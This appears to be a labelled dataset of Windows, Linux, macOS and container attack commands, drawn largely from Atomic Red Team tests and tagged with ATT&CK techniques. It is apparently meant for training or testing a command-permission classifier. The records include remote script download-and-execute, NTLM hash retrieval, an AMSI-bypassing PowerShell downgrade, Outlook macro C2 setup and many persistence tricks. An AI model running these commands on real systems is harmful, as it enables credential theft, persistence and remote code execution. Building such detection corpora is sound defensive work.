cowWhySo/permission-command-corpus huggingface dataset:
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Internalmonologue.ps1') Invoke-Internalmonologue -command "-Downgrade true -impersonate true -restore true"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1187
Platform: windows
ATT&CK tags: T1187
Source rule: WinPwn - PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS
Notes: PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS technique via function of WinPwn
Command: rpcping -s #{server_ip} -e #{custom_port} /a connect /u NTLM 1>$Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1187
Platform: windows
ATT&CK tags: T1187
Source rule: Trigger an authenticated RPC call to a target server with no Sign flag set
Notes: RpcPing command can be used to trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign flag not Set)
Ref: https://twitter.com/splinter_code/status/1421144623678988298
Command: Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat" -OutFile #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1074.001
Platform: windows
ATT&CK tags: T1074.001
Source rule: Stage data from Discovery.bat
Notes: Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution,
verify that the file is saved in the temp directory.
Command: Remove-Item -Force #{output_file} -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1074.001
Platform: windows
ATT&CK tags: T1074.001
Source rule: Stage data from Discovery.bat
Notes: Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution,
verify that the file is saved in the temp directory.
Command: curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1074.001
Platform: linux,macos
ATT&CK tags: T1074.001
Source rule: Stage data from Discovery.sh
Notes: Utilize curl to download discovery.sh and execute a basic information gathering shell script
Command: rm #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1074.001
Platform: linux,macos
ATT&CK tags: T1074.001
Source rule: Stage data from Discovery.sh
Notes: Utilize curl to download discovery.sh and execute a basic information gathering shell script
Command: Compress-Archive -Path "#{input_file}" -DestinationPath #{output_file} -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1074.001
Platform: windows
ATT&CK tags: T1074.001
Source rule: Zip a Folder with PowerShell for Staging in Temp
Notes: Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip
was placed in the temp directory.
Command: Remove-Item -Path #{output_file} -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1074.001
Platform: windows
ATT&CK tags: T1074.001
Source rule: Zip a Folder with PowerShell for Staging in Temp
Notes: Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip
was placed in the temp directory.
Command: reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v Level /t REG_DWORD /d 1 /f mkdir %APPDATA%\Microsoft\Outlook\ >nul 2>&1 echo "Atomic Red Team TEST" > %APPDATA%\Microsoft\Outlook\VbaProject.OTM
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137
Platform: windows
ATT&CK tags: T1137
Source rule: Office Application Startup - Outlook as a C2
Notes: As outlined in MDSEC's Blog post https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/ 
it is possible to use Outlook Macro as a way to achieve persistance and execute arbitrary commands. This transform Outlook into a C2.
Too achieve this two things must happened on the syste
- The macro security registry value must be set to '1'
- A file called VbaProject.OTM must be created in the Outlook Folder.
Command: reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v Level /f >nul 2>&1 del %APPDATA%\Microsoft\Outlook\VbaProject.OTM >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1137
Platform: windows
ATT&CK tags: T1137
Source rule: Office Application Startup - Outlook as a C2
Notes: As outlined in MDSEC's Blog post https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/ 
it is possible to use Outlook Macro as a way to achieve persistance and execute arbitrary commands. This transform Outlook into a C2.
Too achieve this two things must happened on the syste
- The macro security registry value must be set to '1'
- A file called VbaProject.OTM must be created in the Outlook Folder.
Command: copy "#{filename}" %TEMP%\hello.js #{jscpath}\#{jscname} %TEMP%\hello.js
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1127
Platform: windows
ATT&CK tags: T1127
Source rule: Lolbin Jsc.exe compile javascript to exe
Notes: Use jsc.exe to compile javascript code stored in scriptfile.js and output scriptfile.exe.
https://lolbas-project.github.io/lolbas/Binaries/Jsc/
https://www.phpied.com/make-your-javascript-a-windows-exe/
Command: del %TEMP%\hello.js del %TEMP%\hello.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1127
Platform: windows
ATT&CK tags: T1127
Source rule: Lolbin Jsc.exe compile javascript to exe
Notes: Use jsc.exe to compile javascript code stored in scriptfile.js and output scriptfile.exe.
https://lolbas-project.github.io/lolbas/Binaries/Jsc/
https://www.phpied.com/make-your-javascript-a-windows-exe/
Command: copy "#{filename}" %TEMP%\LibHello.js #{jscpath}\#{jscname} /t:library %TEMP%\LibHello.js
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1127
Platform: windows
ATT&CK tags: T1127
Source rule: Lolbin Jsc.exe compile javascript to dll
Notes: Use jsc.exe to compile javascript code stored in Library.js and output Library.dll.
https://lolbas-project.github.io/lolbas/Binaries/Jsc/
https://www.phpied.com/make-your-javascript-a-windows-exe/
Command: del %TEMP%\LibHello.js del %TEMP%\LibHello.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1127
Platform: windows
ATT&CK tags: T1127
Source rule: Lolbin Jsc.exe compile javascript to dll
Notes: Use jsc.exe to compile javascript code stored in Library.js and output Library.dll.
https://lolbas-project.github.io/lolbas/Binaries/Jsc/
https://www.phpied.com/make-your-javascript-a-windows-exe/
Command: start "#{docx_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1221
Platform: windows
ATT&CK tags: T1221
Source rule: WINWORD Remote Template Injection
Notes: Open a .docx file that loads a remote .dotm macro enabled template from https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1221/src/opencalc.dotm 
Executes the code specified within the .dotm template.
Requires download of WINWORD found in Microsoft Ofiice at Microsoft: https://www.microsoft.com/en-us/download/office.aspx.  
Default docs file opens Calculator.exe when test sucessfully executed, while AV turned off.
Command: Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass} (Get-EsxCli -VMHost #{vm_host} -V2).software.acceptance.set.Invoke(@{level = "CommunitySupported"}) Disconnect-VIServer -Confirm:$false
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.010
Platform: linux
ATT&CK tags: T1562.010
Source rule: ESXi - Change VIB acceptance level to CommunitySupported via PowerCLI
Notes: An adversary can change the VIB acceptance level to CommunitySupported to downgrade the acceptance criteria.This can be accomplished via PowerCLI. Afterwards an adversary may proceed to installing malicious VIBs on the host.
[Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-detection-hardening)
Command: echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.010
Platform: windows
ATT&CK tags: T1562.010
Source rule: ESXi - Change VIB acceptance level to CommunitySupported via ESXCLI
Notes: An adversary will change the VIB acceptance level to CommunitySupported to downgrade the acceptance criteria via ESXCLI. Afterwards an adversary may proceed to installing malicious VIBs on the host.
[Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-detection-hardening)
Command: PowerShell -version 2 -command '#{v2_command}'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.010
Platform: windows
ATT&CK tags: T1562.010
Source rule: PowerShell Version 2 Downgrade
Notes: Executes outdated PowerShell Version 2 which does not support security features like AMSI. By default the atomic will attempt to execute the cmdlet Invoke-Mimikatz whether it exists or not, as this cmdlet will be blocked by AMSI when active.
Command: docker build -t t1613 $PathtoAtomicsFolder/T1613/src/ docker run --name t1613_container --rm -d -t t1613 docker ps docker stats --no-stream docker inspect $(docker ps -l -q --filter ancestor=t1613)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1613
Platform: containers
ATT&CK tags: T1613
Source rule: Docker Container and Resource Discovery
Notes: Adversaries may attempt to discover containers and other resources that are available within a containers environment.
Command: docker stop t1613_container docker rmi -f t1613
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1613
Platform: containers
ATT&CK tags: T1613
Source rule: Docker Container and Resource Discovery
Notes: Adversaries may attempt to discover containers and other resources that are available within a containers environment.
Command: podman build -t t1613 $PathtoAtomicsFolder/T1613/src/ podman run --name t1613_container --rm -d -t t1613 podman ps podman stats --no-stream podman inspect $(podman ps -l -q --filter ancestor=t1613)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1613
Platform: containers
ATT&CK tags: T1613
Source rule: Podman Container and Resource Discovery
Notes: Adversaries may attempt to discover containers and other resources that are available within a containers environment.
Command: podman stop t1613_container podman rmi -f t1613
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1613
Platform: containers
ATT&CK tags: T1613
Source rule: Podman Container and Resource Discovery
Notes: Adversaries may attempt to discover containers and other resources that are available within a containers environment.
Command: sudo cp #{path_malicious_plist} /Library/LaunchDaemons/#{plist_filename} sudo launchctl load -w /Library/LaunchDaemons/#{plist_filename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.004
Platform: macos
ATT&CK tags: T1543.004
Source rule: Launch Daemon
Notes: Utilize LaunchDaemon to launch `Hello World`
Command: sudo launchctl unload /Library/LaunchDaemons/#{plist_filename} sudo rm /Library/LaunchDaemons/#{plist_filename} sudo rm /tmp/T1543_004_atomicredteam.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1543.004
Platform: macos
ATT&CK tags: T1543.004
Source rule: Launch Daemon
Notes: Utilize LaunchDaemon to launch `Hello World`
Command: Move-Item -Path "C:\Windows\System32\termsrv_backup.dll" -Destination "C:\Windows\System32\termsrv.dll" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1505.005
Platform: windows
ATT&CK tags: T1505.005
Source rule: Simulate Patching termsrv.dll
Notes: Simulates patching of termsrv.dll by making a benign change to the file and replacing it with the original afterwards.
Before we can make the modifications we need to take ownership of the file and grant ourselves the necessary permissions.
Command: Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\services\TermService\Parameters" -Name "ServiceDll" -Value "C:\Windows\System32\termsrv.dll"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1505.005
Platform: windows
ATT&CK tags: T1505.005
Source rule: Modify Terminal Services DLL Path
Notes: This atomic test simulates the modification of the ServiceDll value in HKLM\System\CurrentControlSet\services\TermService\Parameters. This technique may be leveraged by adversaries to establish persistence by loading a patched version of the DLL containing malicious code.
Command: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Reg Key Run
Notes: Run Key Persistence

Upon successful execution, cmd.exe will modify the registry by adding \"Atomic Red Team\" to the Run key. Output will be via stdout.
Command: REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Reg Key Run
Notes: Run Key Persistence

Upon successful execution, cmd.exe will modify the registry by adding \"Atomic Red Team\" to the Run key. Output will be via stdout.
Command: REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Reg Key RunOnce
Notes: RunOnce Key Persistence.

Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout.
Command: REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Reg Key RunOnce
Notes: RunOnce Key Persistence.

Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout.
Command: $RunOnceKey = "#{reg_key_path}" set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`")"'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: PowerShell Registry RunOnce
Notes: RunOnce Key Persistence via PowerShell
Upon successful execution, a new entry will be added to the runonce item in the registry.
Command: Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: PowerShell Registry RunOnce
Notes: RunOnce Key Persistence via PowerShell
Upon successful execution, a new entry will be added to the runonce item in the registry.
Command: Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Suspicious vbs file run from startup Folder
Notes: vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World VBS!" will be displayed twice. 
Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
folder and will also run when the computer is restarted and the user logs in.
Command: Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Suspicious vbs file run from startup Folder
Notes: vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World VBS!" will be displayed twice. 
Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
folder and will also run when the computer is restarted and the user logs in.
Command: Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Suspicious jse file run from startup Folder
Notes: jse files can be placed in and ran from the startup folder to maintain persistance.
Upon execution, "T1547.001 Hello, World JSE!" will be displayed twice. 
Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
folder and will also run when the computer is restarted and the user logs in.
Command: Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Suspicious jse file run from startup Folder
Notes: jse files can be placed in and ran from the startup folder to maintain persistance.
Upon execution, "T1547.001 Hello, World JSE!" will be displayed twice. 
Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
folder and will also run when the computer is restarted and the user logs in.
Command: Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Suspicious bat file run from startup Folder
Notes: bat files can be placed in and executed from the startup folder to maintain persistance

Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
folder and will also run when the computer is restarted and the user logs in.
Command: Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Suspicious bat file run from startup Folder
Notes: bat files can be placed in and executed from the startup folder to maintain persistance

Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
folder and will also run when the computer is restarted and the user logs in.
Command: $Target = "C:\Windows\System32\calc.exe" $ShortcutLocation = "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk" $WScriptShell = New-Object -ComObject WScript.Shell $Create = $WScriptShell.CreateShortcut($ShortcutLocation) $Create.TargetPath = $Target $Create.Save()
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Add Executable Shortcut Link to User Startup Folder
Notes: Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists.
Command: Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Add Executable Shortcut Link to User Startup Folder
Notes: Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists.
Command: reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" /ve /d "calc.exe" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Add persistance via Recycle bin
Notes: Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf)
User have to clic on the recycle bin to lauch the payload (here calc)
Command: reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: Add persistance via Recycle bin
Notes: Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf)
User have to clic on the recycle bin to lauch the payload (here calc)
Command: $RunKey = "#{reg_key_path}" Set-ItemProperty -Path $RunKey -Name "socks5_powershell" -Value "#{reg_key_value}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: SystemBC Malware-as-a-Service Registry
Notes: This Atomic will create a registry key called socks5_powershell for persistance access
https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c
Command: Remove-ItemProperty -Path #{reg_key_path} -Name "socks5_powershell" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.001
Platform: windows
ATT&CK tags: T1547.001
Source rule: SystemBC Malware-as-a-Service Registry
Notes: This Atomic will create a registry key called socks5_powershell for persistance access
https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c